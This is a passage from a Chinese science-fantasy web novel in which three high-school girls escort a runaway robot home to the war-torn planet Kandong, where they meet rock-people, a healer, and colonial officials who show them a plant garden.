颜阎的妈妈身体不好请病假后,她的态度肉眼可见地冰冷了下来。初中她一心从政,可恶的是成绩还很好。当时她和宋悦馨分别担任团支部的二、三把手,可以跟宋悦馨分庭抗礼,可见她是什么角色。
韦一进了精神病院后,颜阎在自己的备忘录里写下这样的文字:这个故事告诉我们,世界会惩罚一切有上进心的人!上界以我族人为食,飞升到大气层外只会被憋死。
妈妈为她的这段友情感到惋惜,她说:“你和韦一的这种关系,不来往了真是可惜。不是所有人都能有从小到大的朋友。”
颜阎气鼓鼓地原地抡拳头:“明明我小时候你也不喜欢她!”
“我现在也不喜欢她。她和她妈占了我们娘俩那么多便宜,这几年也没来看看我。”妈妈同意,“我只是觉得可惜,发小很难得的。”
颜阎撇着嘴,把地上的瑜伽垫拉过来就地坐下:“妈妈,我要批评你。你天天让我去交朋友,结果你自己都没有朋友。你不要老围着我转,去和朋友出去遛弯,打牌,说同事和小孩儿的坏话,才是你这个年纪应该做的,知道吗?”
妈妈伸手掐了一把她的脸蛋——有点油:“我跟她们聊什么?聊你怎么捣蛋?”
“也行也行!”颜阎点头如捣蒜,“其实我们女高中生聊天,也就是骂骂老师同学,说说家长坏话。妈妈你放心,我不说你坏话,全班都知道你是世界上最——好的妈妈!”
妈妈乐了,乐一半被呛得咳嗽:“所以我有你就够了呀!”
颜阎不喜欢跟家长交流就是这个原因,他们会把车轱辘话一遍一遍说。
“妈妈,你不要转移话题!我说的是你要去找朋友玩!你不能天天只扑在女儿身上!这对心理健康很不好!”颜阎张牙舞爪,“你的高中同学呢!你去找她们玩啊!”
妈妈招招手让她躺在膝盖上,一下一下地拍打她的脸颊,仿佛在摩挲一颗价值连城的宝石,这种珍惜令颜阎很不舒服:“我也有朋友,但是聊不太来,就像你跟你的同学一样。我跟你说过的吧,我上师范的时候,跟一个榕城女生做室友,我们经常一起打饭,一个占座一个排队。她喜欢看《红楼梦》,里面所有的诗她都能背下来,时不时还拿里面的情节举例子。这样的人,我能和她聊得来吗?”
颜阎没有回话,她睡着了。等她一醒过来,她就去呼叫中心抓康烁质问:“你觉得这是不是在说我啊?我不也天天说着一些奇怪的话举奇怪的例子!难道这就是我为什么没朋友?”
康烁影正埋头复习政治,被颜阎冷不丁一撞,烦躁得把头夹在胳膊里:“你哪来那么多同素异形体,有一个刘征兰还不够吗!”
“不行!她可不能跟我当同素异形体。”颜阎说,“她家庭太烂了,要是她真跟我是同素异形体,早把全家人突突了。”
“你以为我不想突突吗。”刘征兰从门口走进来,“真死刑还好,我是不想捞不着死刑还得进监狱。”
她后面跟着焕然一新的温蒂妮。这次它没有用折射影像的伪装示人,潜望镜似的脖子上顶着一个脑袋大小的积分球,胸脯是一个没有任何涂装的纯方块,临时搭建的触须手臂已经换成了原装电液抓手,下半身则是一双轮腿。
两个人抬起下巴打了个招呼,在小桌子旁边给她腾了个位置。
促成这次合作的主要接头人康烁影撑着下巴看向她:“说吧,你到底要借用呼叫中心干什么?”
温蒂妮瞥了她一眼:“说话尊重点。我订金可是交了三万。”
康烁影略带羞涩地捂紧手机。
没办法,谁会跟钱过不去呢。
温蒂妮前几天联系上她们,要求借用呼叫中心,具体事项必须在她确认空想文明的真实性后面谈。康烁影说万一你又想偷东西可怎么办?温蒂妮一言不发甩了三万。康烁影说好嘞大小姐您什么时候来?
刘征兰开门关门开门关门,从贝克街221号博物馆闪现五角大楼,再从庇伦赛星体育场闪现矩阵学院图书馆。温蒂妮说好了我明白了你别闪了我怕你一个走神闪黑洞里。
“我有一个请求,对于你们来说非常简单。开门关门就可以做到。”她说,“我要回家。”
温蒂妮的出走源自全宇宙的一个大背景。
兰顿速递的子公司,研究折叠交通的梨巫出行突破了科技奇异点,早在一千年前就被证实的平行时空壁垒可以在跳格子技术的变体中打破。投入运用几千年的跳格子一夜之间成为了最受关注的新兴领域。跳格子小队等探索平行时空的组织应运而生。
与此同时,人类女性“苏”主动脱离以家庭为单位的社会结构,带动大批已婚女性、青少年“离家出走”。在追求和平和个人意志的社会大环境下,婆旦·颇萝旦军队的反战暴动、灵肉从玛丽基金会出逃、柯玛社会新计算运动,都使用了“离家出走”来代指它们在原环境下的叛逆。
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“离家出走”一词经历了大范围的词义演变,变成了某种俗语,意为“从某个令自己不适的集体或思想中脱出”。
而剩下的一群人压抑着自己的内心,不愿意承担风险拥抱新机遇,也不愿意抛弃社会地位和家庭纽带,而是选择停留在自己的岗位上。这一群人和普通人的区别在于晚年突然后悔自己的犹豫,报复性地无条件支持新兴运动。这一类群体被称为“捉迷藏”。
这次声势浩大的叛逆被称为“莫妮卡运动”。“莫妮卡运动”一词来源于通历开始前的古诗歌《创世之诗》,本诗因为语言朴实易懂,内容讽刺幽默而闻名,是人类古典文学的代表作。诗中主要描述了反抗者莫妮卡的一生:她上学时为了让校领导开空调而招来记者,大学时为了给工人维权而掀起罢课(谁都不想上课所以大家都欣然参加了),毕业后关注世界各处的不公随时揭竿而起,结果最后真的让她当上了国家的女王!但她当上女王后发现,只要有统治就有压迫,为了不压迫干脆别统治!所以她服药自杀了。
前线报社的记者艾丽莎(她和诗歌里的同学、狗官、宰相都同名,可见此名是多么大众化)重新引用此篇,表达了对这次运动的嘲讽。事实也如她所料,莫妮卡运动随股票江河日下,如今已经成为了一种时代印记,就像少年时期数不胜数的愚蠢事迹。
但是吧,很多事情,特别是这种运动,是有历史影响的,倒霉的温蒂妮就是历史尘沙下刷不干净的运动鞋。它踩着莫妮卡运动的尾气离家出走,不久后,时代变了!运动结束了!
好吧,总比回家好,它打死也不愿意回家。于是咬牙切齿地打工、打工、打工。刚开始打工的那五十年它还很乐观,只要每天上班,早晚可以发大财!但是它很快发现,上班的副花销,如系统升级,软硬件配备、住所、交通,这些都要花钱!长久以来赚的还不如花的多,要是买块地皮,它不得被工作套牢!
它立刻转移策略,开始接受一些灰色收入,但它很快发现,它错了,灰色收入,入行需谨慎。
它把良心卖得太便宜了,不好提价啊!
它痛定思痛,开始学习“与人斗其乐无穷”之术。从结果来看,它学成了,它被调到了地球炼金商会这个油水丰厚的岗位上,继续巴结领导。
然而它这次误判了。这次巴结的领导是个拿着系统的智能体,思维模式异于常人,视法律与良心于无物。
重生归来,它痛定思痛:要不,还是回家吧。这工作太危险了。回家也就多个插头多条线的事。总比待在地球,故障了找个修智械的蜂鸣师都找不到要好。
说干就干!它收拾好行李,推门而出,然后愣在地球的众多房产之一的门前。
嘶……怎么回去呢?
炼金商会之所以能在地球为所欲为搞垄断,正是因为爬行文明的经济不和宇宙文明接轨。这也导致宇宙尺度下,爬行文明的交通并不方便,宇宙居民向地球的移民基本都是单行道。而兰顿速递的格子稳定度又很难让智慧生物通过。
那么办事处和都兰联合呢?很可惜,办事处对它颇有敌意。虽然地球员工的物资走公共通道,可垄断问题也对它们的日常娱乐造成了一点影响。它们和炼金商会本就不对付,再加上沙拉曼达和温蒂妮的权力滥用让它们连开好几天例会讨论会总结会,办事处内部对它已经是深痛恶绝,恨不得啮其电线挠其反应堆,更不可能对它走公共通道睁一只眼闭一只眼了。
都兰联合呢?嗯……这个更困难了。在还没有和宇宙文明接轨的爬行文明搞垄断是灰色产业,万一对面急着要业绩,把它拿去当典型,它可就完蛋了。
思来想去,只剩下一伙人,那几个高中生。
最缺钱,最好骗,没有文化,还有背景——不然铃铛也不会直接把空想文明的遗物直接还给她们让她们离开,在它想跑路的时候碰到了这一群人,简直是瞌睡来了送枕头。
它能屈能伸底线灵活,一改对爬行文明的鄙薄,立刻上去巴结高中生。可这伙人油盐不进软硬不吃,最终它忍无可忍,拿出银行存款羞辱她们。结果她们立刻向金钱屈服,答应了这次会面。
只不过……
颜阎朝她搓搓手指:“朋友,你要不是走投无路,也不会来找我们,对吧?什么刻石人基金会都兰联合都比我们正规多了,但你不找它们,说明你没有别的选择了。也就是说——”
刘征兰两手一拍:“我们把你垄断了!”
康烁影挤挤眼睛:“快点!你的余额、支付宝、银行卡、不动产,全都拿出来给我们看看!”
84.半自动飞天脚踏船
我们仍未知道没有社会经验的女高中生对“富有”是否真的有概念,但从温蒂妮逐渐提高的音调可以看出来,这狮子开口挺大的。
最后成交之时,温蒂妮面色煞白,好似财气被吸干,开始打心底里思考垄断的坏处。
几个零的交易就在转瞬之间完成了。康烁影第一次理解了“刘征兰所说的“呼叫中心是一种权力”,只有权力才能让金钱在一扇门的开关之间易主。
康烁影把球球拉进呼叫中心,让它好好看门,温蒂妮深呼吸——它没有呼吸系统,但它挺胸抬头的姿势的确很像深呼吸,然后报出了自己家的坐标。
绝窗长堤—灵树超星系团—蓖子星系群—金群莺星系—勃纳里德行星带—坎冬星—74工业区旧址。
刘征兰打开门。
刘征兰关上门。
“你是坎冬人?”刘征兰惊道,“你家不是毁了吗?”
温蒂妮冷冷道:“暂时的无政府状态,又不是被对星武器炸了。”
康烁影有点感动:“所以……你是去回馈家乡的?”
温蒂妮的窗孔转过来对着康烁影的脸:“当然不是。”它理所当然,“我的续亲是工业区的主教,有钱,有地位,不然我怎么有钱离家出走?秩序再怎么乱也不会打到教堂的,我只是回家跟续亲蹭吃蹭喝。”
“……你混蛋啊你!”
“不混蛋怎么搞钱?你还是太年轻。”
坎冬,一颗移民星球,星球上的原生种族还处于硅基键形式就被灭族了。通历3213年,人类的曙光“人类共同体”灭亡,但接连出现的“四臂集团”、“安卡旦反抗军”摘下了前人的胜利果实。通历4005年,人类与迁氧的长久对立,以最后的迁氧帝国“蜜谷”的覆灭而终结。大批迁氧向外星系群逃亡,坎冬就是在此过程中,由迁氧移民一手建立的新国度。
迁氧为什么会有一个智械的孩子?答案是领养。迁氧的家庭结构本来就怪怪的,什么多人家庭无性生殖应有尽有,温蒂妮的原生家庭就是由三位不同种族的迁氧组成。但是它说家庭矛盾并不源于种族问题,一切都源于家庭制度的狭隘,家庭就不应该存在,智慧生物应当废除家庭制度。
女高中生和它激情握手:“你说得对啊!”
坎冬的温度、气压和辐射都不适合人类生存,温蒂妮大手一挥从仓库里拿出三套防护服给她们穿上:“请把,顺便旅游一日,花销我给你们想办法。”
康烁影欢呼着冲出去。温蒂妮在后面说:“不许买地皮。”
刘征兰问:“奢侈品呢?”
“没有这种东西。”
颜阎问:“人口呢?”
“我掐死你。”
双方在门外分别,温蒂妮一个加速拐进小巷子里。女高中生向反方向离去。
坎冬的天空呈现出沙漠般的色彩,74工业区旧址用一种灰色的物质铺筑路面,仿佛天地倒转。地面上建筑挤挤挨挨,像是弯腰低头的传单派发员,建筑之间的一线光明大概是派发员的发缝。温蒂妮消失的方向能看见大片工厂的残骸和焦土,应该是战争时期率先被摧毁的后方。
斑驳的涂装早已被岁月侵蚀,露出里面不加掩饰的建筑本体,坎冬没有到处攀附的植物,取代它们的是各种化合物。墙体和支撑结构上随处可见密密匝匝的紫红凝胶和虫卵般的荧蓝粉末。刘征兰说这是化合物在高温下的特殊颜色。作为建筑来说,这种场面十分血腥,类似于人双手拨开自己的肌肉和脂肪,露出组织液、器官、血管和骨骼。
路边的大多店铺虚掩着门,每当她们经过,损坏得可以看出灯条结构的光幕便自动触发现形,当最后一声脚步远去,光幕又向中心蜷曲消失。
巷子里空旷得能够听见气体释放的回响,听起来就像给煤气灶打火的嘶嘶声,空气中甚至真的燃起一缕黑烟。康烁影的脑袋顺着黑烟转头,伸手戳了戳刘征兰:“科学家,这是什么?”
科学家道:“我不知道,你当是有人做饭吧。”
“迁氧吃饭吗?”
“谁都要吃饭。”
“它们靠什么吃饭?”
刘征兰停住脚步。
不远处有三个石头人,正在围殴一个身体光滑泛青的石头人,青石头的裂缝里嘶嘶地冒出黑烟,而它正拼命从身体下方的活盖里掏出一种内部漂浮着蓝色的气体的透明圆石头。
康烁影眯起眼睛看过去,短促地叫了一声。
刘征兰面不改色:“现在我们知道了。靠抢劫。”
颜阎问:“咋办,拦不拦?干得过吗?”
刘征兰叹了口气:“干不过也得干,还能看着人挨揍不成?”
她拿出沙拉曼达一战后律易棋赠送的保命武器电击索,刚准备对着石头人开一枪,后面忽然传来一阵嗡嗡声。
一颗黄褐色的石头人咕噜咕噜跑过来,笨重的身躯一个紧急刹车停在抢劫三人组面前:“诸位!误会!误会!她不是掮木,她只是个蜂鸣师,修机器的!”
三个抢劫犯嗡嗡冷笑:“她刚才撕掉了园艺师的征兵广告,还敢说不是掮木?”
“我是她邻居,她从头到尾都没有加入过掮木!她姐姐被征兵走了,没有回来,她就是太想她姐姐了!”黄石头用身子推了推地上那个绿石头,把她推得咕噜噜滚了一圈,“你说是不是?”
绿石头没有力气说话了,只能虚弱地发出赞同的“嗯嗯”声。
拦路抢劫三恶霸又踹了她一脚:“妹妹,我们也不愿意节外生枝,但你也知道,现在情形很关键,刻石人愿意提供军队以外的一切支持 婆旦·颇萝旦随时已经重新占领了各大地区,掮木也很有可能回来,我们不得不紧张一点。”
黄石头身上的缝隙碰撞,发出咔咔的声音:“我懂,我懂。”
“撕掉征兵广告,这个说重不重说轻不轻,但是万一被组长知道了……”
黄石头立刻从自己的活盖里拿出一个蓝色气体浓度比较高的透明石头。拦路抢劫三恶霸对着光线看了看,满意地用身体撞撞她:“不错!我们的临时据点在蓖子酒店,有事来找我们。”
三恶霸大摇大摆地离开了。三女高目瞪口呆地愣住了。
征兵……据点……
这……这……这……
这三个恶霸是正规军?
康烁影搁着防护服掐自己:“当街抢劫?这不破坏军队形象?”
颜阎在她耳边低语:“你太高估军人群体了。古代军纪奇差无比,一进城就烧杀抢掠。军队形象也是近代才变好的,而且说实话,也就咱们好一点,外国的至今不咋地。”
话音未落,三个恶霸已经向她们走过来。和石头人相比,她们三根竖丝儿肉的异族特征明显得不能再明显了,然而那三个石头人仿佛没看见她们似的,从她们身边绕过去,目不斜视地走了。
刘征兰也困惑了:“这又是为什么?”
康烁影比划:“Sep?”
黄色石头人说:“不,她们能看见你们。”
“那为什么不打我们?”康烁影不解。
颜阎代替她回答:“因为我们真有可能是掮木或者殖民者。”
三个人帮黄色石头把绿石头咕噜咕噜滚进一间光幕还算完好的店铺。店铺上闪烁的霓虹灯上写着“波洛拿药店”。楼梯是一个向地下延伸的光滑平面,像个滑滑梯。康烁影和刘征兰扶
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着墙谨慎行走,颜阎架起双臂做出玩滑板的动作,英姿飒爽站着哧溜下去,平稳落地。
地下的房间仿佛是一个古老的铁匠铺,由于气压问题,坎冬这颗星球上没有火焰,代替火焰的是一罐滚动的岩浆。黄石头把绿石头放在一张铁圆盘上,类似手臂的长肢体里渗出银色的粘液,粘液把岩浆上的钵体里取出一个细口勺,勺子里盛着一种火红的液体。液体被她均匀地涂在绿石头身上的裂缝里,堵住了冒烟的裂缝。
黄石头抬起头:“感谢你们,无论你们是谁。”
“没关系。”康烁影伸出手跟她握了握,“我们不是掮木,也不是殖民者。我们是跟着朋友来走亲戚的。它离家出走多年,家人是工业区的主教。”
黄石头一惊:“蕊居?你是说蕊居?”
有个蕊字和温蒂妮在地球的假名重合,应该是它吧。大家胡乱点头。
“我听说过它,从我出生前它就离家出走了。”黄石头的身体发出轻轻的摩擦声,“它以前是学整容医学的,可以在商业1区谋个好工作,但是突然有一天它就不上学了。诺亚主教找了它很久,但它只留下一封电子邮件,说离家出走不回来了。”
颜阎爽朗道:“上学上疯了嘛,我懂,我很理解。”
“可它在读博。”
“在哪上学都是上学。”
康烁影不想掺合这些事,她只是来旅游的:“这个病人有没有事?”
“伤势不重,等液体凝固就好了。”
“那你今天愿不愿意给我们当一日导游,让我们逛逛坎冬?我们会付钱的。”
黄石头犹豫了一下:“最近外面比较乱……”
“想买什么都行。所有花销我们一力承担。”
黄石头精神抖擞:“那走吧!”
黄石头关上店门,嗡嗡嗡地带着她们出门了。根据她的介绍,她本人的确叫波洛拿,但是这家店是她亲眷——也就是生育她的几位亲人的。在坎冬,平民的名字只能代代相传,在亲眷中一人去世前,孩子都无法拥有名字。亲眷中谁去世得早,孩子就继承谁的名字。只有孩子多于亲眷的家庭才可以另取名字,但是大部分孩子还是会选择继承旁支亲属的名字。
波洛拿是少见的双亲家庭,两位亲眷均已在战争中去世,目前由她一人经营这所药店兼医院,这次出去她要买一些药品和医疗舱,最主要的是,她要去吃大餐!
而吃大餐和买药,都必须去66商业区。
66商业区紧邻74工业区旧址,66区目前还被婆旦的军队把控着,两个区域之间有高墙和低空飞行器的阻拦。波洛拿并不慌张,她从地上拖出一个……呃……脚踏船。
说是脚踏船,但体积大多了,脚蹬也是嵌在船壁上的。波洛拿让她们三个坐进去,自己在后面一推,然后拖着身体敏捷地钻进去。
“快蹬!”她喊。
“蹬什么?这怎么蹬?”刘征兰把自己弯成折叠椅,大腿筋疼得突突跳,“膝盖抬胸口?”
波洛拿恨铁不成钢,她觉得人类笨得有点不可理喻:“躺下蹬啊!”
三人一石头相识十五分钟,关系突飞猛进,已经好到可以并排躺在一块儿做普拉提。她们越蹬越快,脚踏船不负众望,腾空而起,直上天阙。
脚踏船的窗户里,可以看见远处的现代化楼房起伏如山峦,三栋撑天巨筑直指天空。它们脚下的住所闪动着蓝和紫的光点,各区域之间的高墙仿佛皮开肉绽的伤口。
过度工业化和光污染下的天空依然美丽,智慧生物的罪孽后闪动着毫不在乎的星光。
如此壮美而独特的景观中,颜阎忍不住感叹:
“哇!ET!”
85.医疗舱待售
刘征兰让波洛拿和自己对手指,她说自己腰肌劳损好久了想要治愈一下,结果可想而知的没用。
脚踏船自然地避过低空飞行器,在66区隐蔽落地,从降落点的凹陷可以看出这里是个长期停车位。
波洛拿说,坎冬有许多地磁场实验室,经常有地磁和重力异常区域出现。刚才那个受伤的绿石头做出了一对脚踏船,用于外出和逃亡。
比起功能性分明的74区建筑,66区的商业性质浓厚许多,楼房之间的空隙宽大,维护也更好。各种迁氧、游离体、智械和人类在这里混居,随处可以看到摆摊的小贩。住在这里的石头人都没有奇奇怪怪的颜色,长得非常相似,而且完全看不出来这群生物到底是沉积岩和喷出岩。刘征兰决定下次带瓶盐酸来,看看它们起不起泡。
见到波洛拿,几个石头人商贩都打起了招呼。一个卖动物标本自称可以磨制药粉的石头人哗啦坐到标本前面,开始给波洛拿推销一些装黏糊糊的凝胶液体,康烁影看了两眼,感觉不管怎么看它们是史莱姆。
波洛拿无论如何都要去有店面的正规商店买买药品,人类表示理解,是药三分毒,来历不明的药不能随便乱用。
即使刚刚才被“园艺师”洗劫,波洛拿仍有一点钱。坎冬的经济体制崩溃后,民众对官方货币的信任已经降到谷底,虚拟支付形同虚设,但这里毕竟是经济区,实体货币还是有一点信用的。
波洛拿捧出那个透明球体,商贩用一根透明的管子插进去,导出一些气体放进自己的球体里,然后把各种放在精巧试管里的石头、粘液和粉末放进柜台后面暂时寄存,等她们回来再来拿。这些东西似乎对应着人类医疗体系里的绷带、注射药品和止痛片。
而医疗舱,这种大型机械的贩卖地点不是正规到无可指摘,就是隐秘到冒头就死。以波洛拿的资产,显然只能选择后者。
她让人类们在外面等着,她自己悄悄进入一间占卜店,从柜台下面钻进去,不见踪影。
人类在外面也没有闲着,刘征兰蹲下来开始挑地摊上的小玩意儿。看地摊的是一颗小石头,每当她捡起一些东西,他就会哀叹一声,放下,他叹,再拿起来,他还叹。
刘征兰说:“你到底卖不卖?”
“呜……我卖……”小石头低声摩擦,“这些都是工业区废弃之前的矿产,是做子弹的好材料,如果你需要,我还可以给你推荐一位制造简易枪支的工匠。”
“……有点可怕了,有没有什么可爱点的,不涉及战争的东西。”
小石头立刻精神抖擞,神神秘秘地掏出一把东西:“请看!”
那是一堆蠕动的黑色小虫。小石头从末端拽住它们,顺着它们背上的黑线撕开,小虫的身体里迸发出一阵光芒,那光芒在空中汇聚成一个简笔画的石头人睡觉图案,转瞬便消失了。
“光蚯,死后有色的荧光血液瞬间蒸发,在空中形成类似光线的图案。在社区书院的集体改造下,可以显示特定的图案,传答案很方便!只要人缘好,考试没烦恼!”
康烁影立刻拿了几条,账记在74区教堂上。
看她们感兴趣感兴趣,小石头更加努力地推销起来:“还有这个,超忆糖块!只要咬住它,特殊震动频率通过骨传导直达大脑皮层,可以让你们从蠢才变天才!”他把糖块塞进自己身体的裂隙里,“副作用是……”
话音未落,他就轰隆倒地,死去一般悄无声息。过了几秒,它的体内发出石块互相挤压的咯吱咯吱声,黑色烟雾从石块和石块的缝隙里钻出来。周围的人见怪不怪,只当没看见。
小石头颤抖:“如果知识水平没有达到都兰联合制定的标准知阶第二层,不建议使用……会超负荷……”
刘征兰抓起一把塞进口袋里,说我倒要看看是什么知识。
占卜店旁边突然有骚乱声。她们还以为是波洛拿回来了,顺着声音看过去,发现是一个下层裹着钢甲的石头被占卜店的巫师推倒在地。他身边围绕着一群荷枪实弹的人类士兵,却没人上前帮助他。
“滚出去!”巫师低喝,“婆旦的走狗!滚出去!”
一位金发人类将他搀起来:“女士,我们无意伤害您,我们只是来邀请您复学。自从社区书院停学后,您已经有二十六年不曾上学,拥有一份学历能让您的人生更轻松。”
“殖民者的走狗!”巫师摘下悬挂的干草药和电磁叉,疯狂砸向钢铁石头人,“我在掮木的临时学堂学完了所有的课程,还有自己的店面,我不需要那份学历!”
金发男人沉默地替钢铁石头抵挡了投掷物。钢铁石头挥开他,将整个身体缩紧到几乎看不到缝隙——这是一个尊敬的姿势:“我理解您的痛苦,我也曾是对亡国满怀愤怒的一员。但是掮木的号召令坎冬陷入了混乱,多少人流亡,多少人战死,74工业区被摧毁,您的姐妹都在战争中死去。如今和平重回大地,没有人会丧命,失学者可以复学,工人可以工作,您不必以占卜掩盖行医。如果您愿意继续上学,考取正规医疗执照,甚至可以购买医疗舱!您真的要拒绝和平带来的现状吗?”
巫师冷笑一声:“让诺拉,你对贵族小姐们的那一套对我没有效,滚吧。”
她关上店门,将钢铁石头隔绝在外。
小石头鬼鬼祟祟地拉着人类们贴墙躲起来,直到这一波人轻生快步地离开才松了一口气。
“看你们没武器,一眼就知道是倒霉的掮木受害者。”小石头煞有介事地道,“投身革命结果革命失败了吧?没关系,可以看看让诺拉先生,因为长得好看被婆旦留下了,现在混得风生水起。只要努力,你们也有机会!”
刘征兰提出疑问:“好看?”
颜阎宽慰她:“迁氧的审美和咱们不太一样。你说对吧康女士……康女士?”
刘征兰伸出手在她面前挥了挥:“看啥呢这是?”
颜阎顺着她的视线看过去:“哦,那个钢铁石头旁边的黄毛男的。”
刘征兰脑子里闪过无数念头:是熟人?有阴谋?有线索?有古怪?然而一切思维,都在她把康烁影表情放在脑海里分析了一遍面部特征之后分崩离析。
“坏了!”她大叫,“她异性恋犯了!”
一直到波洛拿从占卜店里钻出来,宣布没有医疗舱可售时,康烁影还着迷地盯着金发男人离去的背影,脸上浮现出诡异的微笑。
好完美的一张脸!简直是集齐奥兰多·布鲁姆+罗伯特·帕金森+木村拓哉所有优点的完美嵌合体!这就是外星人吗,的确实力雄厚!
颜阎和刘征兰绝望地一左一右倒拖她,任由她的脚跟摩擦地面。
刚才那个钢铁石头人说医生可以购买医疗舱,刘征兰建议波洛拿区正规渠道买一个,比地下市场的有保障多了。波洛拿沉默片刻,叹了口气:“让诺拉是婆旦的人,我怕和他交易会引来园艺师的不满。”
她比划了一下:“而且……呃……他……风评不太好。”
“真的吗?”颜阎回头看了看那家占卜店,“我看他还叫人回去上学呢。”
“因为掮木革命失败了,所以很多坎冬人向婆旦投诚,用手上的工业区和地表面积作谈判资本。虽然心里不相承认,但是近几年……的确是百年以来,我们这些平民百姓生活最幸福的时代了。”
波洛拿用自己身身体上凸起的石头片挂了一些装满凝胶的小瓶子:“让诺拉曾经是掮木的革命者,后来民间对外族统治者的不满令种族矛盾爆发、经济崩溃后,革命便失败了。他投靠了殖民者,争取内部改革,在他和一众改革家的努力下,坎冬的殖民区已经有了普通人的免费学校,基础医疗设施也逐步恢复。当然,为了这个目标他牺牲很多,甚至还对贵族和富人的女士们进行过一些……呃……那种……”她心一横把那句话说了出来,“□□。”
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颜阎语塞。
刘征兰想笑,但不能笑。只能结结巴巴地说:“哇……那很坏了。”
康烁影精神抖擞:“非常坏!这样的卖球奸细,一定要惩罚!他身边的保镳一起惩罚!”
颜阎捂住她的嘴:“快走吧女士我们这里是无cp频道。”
即便如此,波洛拿还是决定去看看婆旦的医疗舱。颜阎很好奇,明明婆旦已经设置了医疗设置,为什么她还需要医疗舱。
波洛拿面色不改:“我的亲眷都在战争中死亡。上一位波洛拿的死因是体内气压不平衡,导致身体爆裂。这在现代不是什么大问题,只要有一台医疗舱就可以维持气压了,可是我们没有,最后一台医疗舱借给了一位不知道立场的士兵。如果他还在,我现在就会出来买假肢,而不是医疗舱。”
刘征兰沉默片刻,把刚才买的据说是食物的红色矿物塞给她。波洛拿毫不客气地收下了。
婆旦使用了殖民时期的现代玻璃建筑,说人话就是长得很像写字楼。大厅的房梁挑得很高,天花板上悬挂着因为重力问题而飘飘悠悠的灯管,迎宾台后面挂着两幅四五米高的巨大画框。一张裱着上帝赐福,一张裱着智慧生物的诞生。
过于光滑的地板让波洛拿几乎无法在上面行走,只能把自己塞进门口的钢铁辅助圈里。这个时候大家总算明白,为什么刚才那个石头人带着钢铁了。
一进门,就有热情的迎宾石头来询问她们的来意,听说她们要购买医疗舱,顿时兴高采烈地向按了个按钮。
刚才她们在占卜店外见到的一人一石头直接从上帝赐福画里钻出来,让诺拉十分激动地用身体碰撞波洛拿:“终于!女士,非常感谢你对我们的信任。我知道大家都对婆旦有着很深的仇恨,但是请相信我们,我们一定会让大家过上幸福的生活!您和我们的交易代表着民众和我们重新建立起信任,我们将竭力回馈你们。您需要购买医疗舱是吗?七五折,您看够吗?我们还将为您送货上门!抱歉,出于宣传目的,必须直接搬到您家,不能使用跳格子……”
金发男人忽然俯身,对他说了什么。他的表情一下子僵硬起来。
“……抱歉。”他说,“几位愿意在这里休息一下吗?医疗舱的运输出了一些问题。”
波洛拿比他更紧张:“可……可以……谢谢您……”
“宁戈,接待一下她们。”
金发帅哥低下头:“是。”
康烁影嘴都要笑裂了。
名叫宁戈的金发帅哥带着得体的微笑,带着她们走向旁边智慧生物诞生图。康烁影柔情万丈地问:“我们这是去哪里呀?”
金发帅哥垂下眼睛,睫毛像是合欢树的粉绒:“在坎冬绝无仅有的地方。”
他们从另一幅巨大画框里走出,进入一条宽阔的纯白走廊里。康烁影和刘征兰不自觉地磨蹭鞋底的泥土,波洛拿更加站不稳了,只能扶着颜阎的大腿。
宁戈把右手放在胸前微微俯身,左手打了个响指。眼前走廊的墙壁瞬间撤开,变成了一排透明材料,透过那扇透明墙可以清晰地看见墙后的世界。
一座巨大的植物园突兀地出现在这栋充满现代感的建筑里。
波洛拿瞠目结舌,身体上的岩石不住地转换着方向:“这……这就是植物……”
她作为土生土长的坎冬人,从来没有见过真正的植物。这颗星球的环境不适合传统意义上的“植物”生存,倒是有一些变异种和藻类。虽然她常年使用植物药粉和可吸收二氧化硅的植物探测空气适宜度,但她从来没有见过如此大规模的真正植物群。
宁戈的声音仿佛琴弓摩擦着她的心:“想进去看看吗?”
“不好吧……”波洛拿愣愣地说,“立场啊什么的……”
“只是参观而已。我们不会强迫您站队的。”宁戈轻缓地放下膝盖,轻轻牵起波洛拿石头的手臂,“请吧。”
86.塞壬之歌
植物园内的温度维持在50度左右,防护服内的眼动设备提醒她们,这里的气候不干不湿,很适合睡午觉。
波洛拿被宁戈带去清理了身体,刷去身上黄色的工业气体结块,然后套进一个泡泡般的防护膜里。宁戈单膝跪下,双手握拳置于地面,恭迎她和三个人类走进植物园。
她平生第一次被如此恭敬地对待,但眼前的震撼已经令她无瑕顾忌这份殊荣。在坎冬的土地上,她居然有幸与活生生的植物共处一室。不是干粉,也并非标本,而是触感湿滑的、真正的植物!
“火山凝晶藤、捕硅干草、普通翠草……”波洛拿着迷地抚摸着路上的植物。颜阎问宁戈能不能摘下来送她几株,宁戈笑着说当然可以,波洛拿却拒绝了,“这些植物无法在寒室之外的地方生存,我养不活的。”
“磨药也可以!”颜阎怂恿她,“不拿白不拿!”
波洛拿笑了:“那些干草粉并不是真的干草,是化学提取物,草药提取物的药效太低,早就过时了。你没学校没有交吗?”
颜阎脸不红心不跳,理直气壮道:“我成绩差没好好听课!”
宁戈允许她们随意探索这个植物园,要是迷路了,就找到墙面直接走出去,气读材料不会阻拦被认证的客人。波洛拿嘴上说着很不好意思,脚已经朝着植物园里正在喷水的高大植物扭过去了。
善解人意的颜阎凑到刘征兰身边,做作地提高声音:“呀,刘儿!那是什么呀!”
刘征兰抑扬顿挫:“不知道呀,颜!我们去看看吧!波,你来不来?”
波洛拿甘之若饴:“好好好!”
康烁影不和她们一起去,她说要去看看那边的浅溪,她太想知道这种温度下怎么会有水了。
刘征兰叮嘱她:“遇到事情要叫。”
康烁影连连点头:“我到时候会叫我期末考排名的。”
“为什么是期末考排名?”颜阎问。
“要留清白在人间。”
“考个第四至于吗……”
“你考第几?”
“十三!加上不该错的能有第六呢!”
刘征兰评价道:“听起来真可怜。”
康烁影和朋友们分道扬镳,一人独行。植物园的整体色彩并不鲜艳,可能是因为高温,这里植物的根茎呈现深绿,大部分的果实外壳都是红褐或黑色,整个植物园的色彩偏向深调。照明物不是灯具,而是斩将夺旗体育场里满场漂浮的伪星和地面上某种闪烁着盈盈淡金色光芒的藻类。
“根据共生法则的自然环境保护原理,我们会尽力在实验室以外的地方减少现代科技的运用。”温柔的声音从她背后响起。宁戈单手背后,湛蓝的眼睛望向她,“女士,我是否有幸为您介绍我们的植物园。”
康烁影非常庆幸防护服的黄色头盔可以遮住她的脸:“当然。”
“想必您是听到水声才向这边走的,您的观察力很敏锐。”宁戈领她穿过气根扎成的笔直回廊,钻进一条巨大的隧道里,“请小心,这里是庐豆的荚,消化液带有轻微腐蚀性,还有一些叶片上带有生物电的放电植物在内部寄生,如果碰到会有些麻烦。”
